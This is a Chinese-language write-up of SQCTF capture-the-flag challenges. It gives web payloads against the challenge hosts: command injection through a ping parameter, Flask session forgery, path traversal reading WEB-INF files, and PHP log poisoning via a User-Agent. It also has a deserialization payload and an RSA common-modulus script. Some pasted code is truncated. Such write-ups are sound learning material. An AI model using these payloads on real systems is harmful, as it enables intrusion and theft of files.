RceMe

展示代码要求输入长度小于5，于是分别尝试使用ls ,nl，输入ls /查看根目录，最后输入nl /*获得flag。

---

ezGame

f12打开源代码，发现可以打开index.php，打开后发现只要score超过2048就能或得flag，url+?score=2049获得flag

---

伪装

看着题目就像是一个伪造cookie的，所以根据代码来伪造session

```
from flask import Flask

from flask.sessions import SecureCookieSessionInterface


app = Flask(__name__)

app.secret_key = 'love'


\# 构造恶意session数据

fake_session = {'role': {'is_admin': 1, 'name': 'sjx'}}

serializer = SecureCookieSessionInterface().get_signing_serializer(app)

cookie = serializer.dumps(fake_session)

print("伪造的Session Cookie:", cookie)
```

然后生成了 `eyJyb2xlIjp7ImlzX2FkbWluIjoxLCJuYW1lIjoic2p4In19.Z_i5_g.n4lG4KzU1hh8l59BPuU0tqyDQOI`

提交了直接出flag

Ping

任意命令执行

http://challenge.qsnctf.com:30751/?ip=127.0.0.1|ls /

就可以看到flag

然后

http://challenge.qsnctf.com:30751/?ip=127.0.0.1|cat /flag

就行

File_Download

题目描述:出题人疯了，老是念叨着什么茶买祆

题目一打开有个help.txt可以查看，打用href跳转之后是help.jsp

相当于在没用wappalyser心里就有数了

```
get or post filename to /DownloadServlet ?
```

提示访问DownloadServlet，访问后让填filename参数，填上help.jsp就真的返回了原jsp内容，所以读取一下主页面

```
<%--
  Created by IntelliJ IDEA.
  User: yuzhenzhao
  Date: 2025/2/19
  Time: 11:50
  To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
    <title>登录页面</title>
</head>
<body>
<%
    // 获取请求参数
    String username = request.getParameter("username");
    String password = request.getParameter("password");

    // 检查是否提交了表单
    if ("POST".equalsIgnoreCase(request.getMethod()) && username != null && password != null) {
        // 不论输入什么用户名和密码，都返回登录失败的提示
        out.println("<h1 style='color: red;'>登录失败，请检查用户名和密码。</h1>");
    }
%>
<!-- 登录表单 -->
<form action="index.jsp" method="post">
    用户名：<input type="text" name="username"><br>
    密码：<input type="password" name="password"><br>
    <input type="submit" value="登录">
</form>
<!-- 隐藏表单 -->
<form id="helpForm" action="Download" method="get" style="display:none;">
    <input type="text" name="filename" value="help.docx">
</form>
<!-- 超链接指向 help.jsp -->
<a href="help.jsp" target="_blank">help.txt?</a>
</body>
</html>
```

看来是不想让我们访问了，但是在这里看见了隐藏表单，转到本地试了一下，发现没有权限，**只好作罢**

然后访问http://challenge.qsnctf.com:30167/DownloadServlet?filename=WEB-INF/web.xml

```
该 XML 文件并未包含任何关联的样式信息。文档树显示如下。
<web-app xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.
```

```
<display-name>JavaTest2</display-name>
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>com.ctf.file.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagManager</servlet-name>
<servlet-class>com.ctf.flag.FlagManager</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagManager</servlet-name>
<url-pattern>/FlagManager</url-pattern>
</servlet-mapping>
</web-app>
```

只能说，题目提示是有意义的确实是**茶买袄**，看见com.ctf.flag.FlagManager

这时候就想到了用之前的DownloadServlet来下载class，http://challenge.qsnctf.com:30167/DownloadServlet?filename=/WEB-INF/classes/com/ctf/flag/FlagManager.class**（这里要换post请求来写）**

下载之后拿cfr-0.152.jar来解析（具体步骤不说了，去问ai）

```
C:\Users\huaji\Downloads>java -jar cfr-0.152-javadoc.jar
cfr-0.152-javadoc.jar中没有主清单属性

C:\Users\huaji\Downloads>
C:\Users\huaji\Downloads>java -jar cfr-0.152-javadoc.jar _WEB-INF_classes_com_ctf_flag_FlagManager.class
cfr-0.152-javadoc.jar中没有主清单属性

C:\Users\huaji\Downloads>java -jar cfr-0.152.jar _WEB-INF_classes_com_ctf_flag_FlagManager.class
/*
 * Decompiled with CFR 0.152.
 *
 * Could not load the following classes:
 *  javax.servlet.http.HttpServlet
 */
package com.ctf.flag;

import java.util.ArrayList;
import java.util.Scanner;
import javax.servlet.http.HttpServlet;

public class FlagManager
extends HttpServlet {
    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        System.out.println("Please input your flag: ");
        String str = sc.next();
        System.out.println("Your input is: ");
        System.out.println(str);
        char[] stringArr = str.toCharArray();
        FlagManager.Encrypt(stringArr);
    }

    public static void Encrypt(char[] arr) {
        ArrayList<Integer> Resultlist = new ArrayList<Integer>();
        for (int i = 0; i < arr.length; ++i) {
            int result = arr[i] + 38 ^ 0x30;
            Resultlist.add(result);
        }
        int[] key = new int[]{110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 1
        ArrayList<Integer> Keylist = new ArrayList<Integer>();
```

```
        for (int j = 0; j < key.length; ++j) {
            Keylist.add(key[j]);
        }
        System.out.println("Result: ");
        if (Resultlist.equals(Keylist)) {
            System.out.println("Congratulations! ");
        } else {
            System.out.println("Error! ");
        }
    }
}
```

找ai写了个脚本

```
key = [110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 

flag = []
for k in key:
    # Reverse: (arr[i] + 38) ^ 0x30 = k
    # => arr[i] = (k ^ 0x30) - 38
    c = (k ^ 0x30) - 38
    flag.append(chr(c))

print("Flag:", ''.join(flag))
```

```
PS D:\code> & d:/Python313/python.exe d:/code/temp.py
Flag: 85caad1c-33e3-0bc1-6d5e-a73b044f7d9f
```

商师一日游

分别是查询源文件，更改cookie值，查找响应标头，查看/robots.txt，php代码审计（问ai),在url后加上?hhh=php%0A123，使用post请求发送auth=1，使用post请求发送memory=system(ls);，然后访问Tourist_fragment7找到最后一段flag。

---

baby_include

大致思路就是在useragent里面传入一个php脚本，

```
curl -A "<?php system('cat flag.php'); ?>" http://challenge.qsnctf.com:31301/
```

然后访问/var/log/nginx/access.log

，访问的时候php会把那个脚本进行解析，从而读取flag

Input a number

利用浮点数形式绕过，传入 `114514.1` ，此时PHP在松散比较时会转换为浮点数 `114514.1` ，不等于整数 `114514` ，绕过第一个条件。 `intval` 会截断小数部分，得到 `114514` ，满足第二个条件。

url+?sqctf=114514.1

Ggoodd

基础题，不多说

curl -X POST "http://challenge.qsnctf.com:30291/?json=%7B%22x%22%3A%22cba%22%7D" -d "id=abc"

开发人员的小失误

dirsearch扫到backup.sql

然后challenge.qsnctf.com:30253/backup.sql

下载之后打开就有

babyrce

这里可以利用PHP的弱类型比较和SHA1碰撞。当两个不同的值经过SHA1哈希后以"0e"开头时，PHP的`==`比较会认为它们相等。
url+param1=aaroZmOk&param2=aaK1STfY通过level1

再用payload=TYctf::getKey调用静态函数，得到flag

eeaassyy

使用开发者工具打开网页源代码，得到flag

逃

简单的反序列化，需要构造一个序列化的`test`对象，其中`pswd`属性值为escaping。由于`pswd`默认值是sunshine"，需要在序列化字符串中直接修改这个值。

url+?payload=O:4:"test":2:{s:4:"user";s:4:"test";s:4:"pswd";s:8:"escaping";}得到flag

嘿嘿嘿

也是反序列化的题，太长不想看，扔给ai，得到这样的反序列化字符串

data=O:3:"hhh":2:{s:4:"file";s:3:"abc";s:8:"GET_FLAG";}

love.host

使用foremost -e test.jpg分离出文件，得到flag

密室逃脱的终极挑战

I am the key to the next
栅栏fence解码:
因数[2, 4, 5, 8, 10, 20]:
分为2栏时，解密结果为:The?secret?message?is?hidden?in?the?flag

天下谁人不识君

s = 'wesyvbniazxchjko1973652048@$+-&*<>'
result = 'v7b3boika$h4h5j0jhkh161h79393i5x010j0y8n$i'
flag = ''

for i in range(len(result) // 2):
ch1 = result[2 * i]
ch2 = result[2 * i + 1]
idx1 = s.index(ch1)
idx2 = s.index(ch2)

```
for s1 in range(256 // 17 + 1):
    for s2 in range(17):
        if (s1 + i) % 34 == idx1 and (- (s2 + i + 1)) % 34 == idx2:
            c = chr(s1 * 17 + s2)
            flag += c
            break
    else:
        continue
    break
```

print(flag)

简单RSA

n=
13650503560233612352420237787159267432351878281073422449253560365809461612884248041710373755322100953953257608601227381211434513766352420535096028618735289379355710140356003114010103377509526452574385251495847301426845768427018504464757671958803807138699056193259160806476941875860254288376872925837127208612702688503022494109785623082365323949385021488106289708499091818714253710552213982060745736652306892896670424179736886691685639988637188591805479432332714690818805432648223229601082431517091667297328748597580733946557364100555781113940729296951594110258088501146224322799560159763097710814171619948719257894889
c1=
33665009681168674397467692727992478952176476394271839079307550742590568116856715937223892476976369052142697603251199552422541712238751597854799001149898125118154661223214842894075966203076361980017940292 51

197349257235827433633936216505458557830334779187112907940003978773672225479445837897135907447625387990
203145231671233038707457396631770623123809080945314083730185110252441203674945146889165953135351824739
866177205127986576305492490242804571570833778440870959816207461376598067538653432472043116027057204385
251674574207749241503571444801505084599753550983430739025050926400228758055440679102902069032768081393
253
c2=
741251710399014889376607709061679833845160739461401519533671961742693543945688625105601521697965827463
355268746114549177912237823701210623652792473304739590713319011091955049102911369983526067592294877556 8
027483123730185809123757000207476650934095553899548181163223066438602627597179560789761507989925938512
977319770704123979102211869834390476278761480516444396187746843654541476645830961891622999425268855097
938496239480682176640906218645450399785130931214581370821403077312842724336393674718200919934701268397
883415347122906912693921254353511118129903752832950063164459159991128903683711317348665571285175839274 3
46
e1= 4217054819
e2= 2800068527

import gmpy2
import libnum
s,s1,s2=gmpy2.gcdext(e1,e2)
m=(pow(c1,s1,n)*pow(c2,s2,n))%n
print(libnum.n2s(int(m)).decode())

#Common Modulus
#RSA 共模攻击

得到flag

字母的轮舞与密钥的交响曲

发现有个GTLBT{}，猜测是flag的格式，使用维吉尼亚加密和凯撒密码进行解密（实际上是问ai）得到flag

别阴阳我了行吗？

阴阳怪气编码，

https://std.ac/yygq.js/

在线解密，得到flag

玩的挺变态啊清茶哥

猪圈密码，解密得到flag

image-20250413214119146

你的天赋是什么

摩斯电码解密，得到flag

SQCTF{YOU-HAVE-TALENT}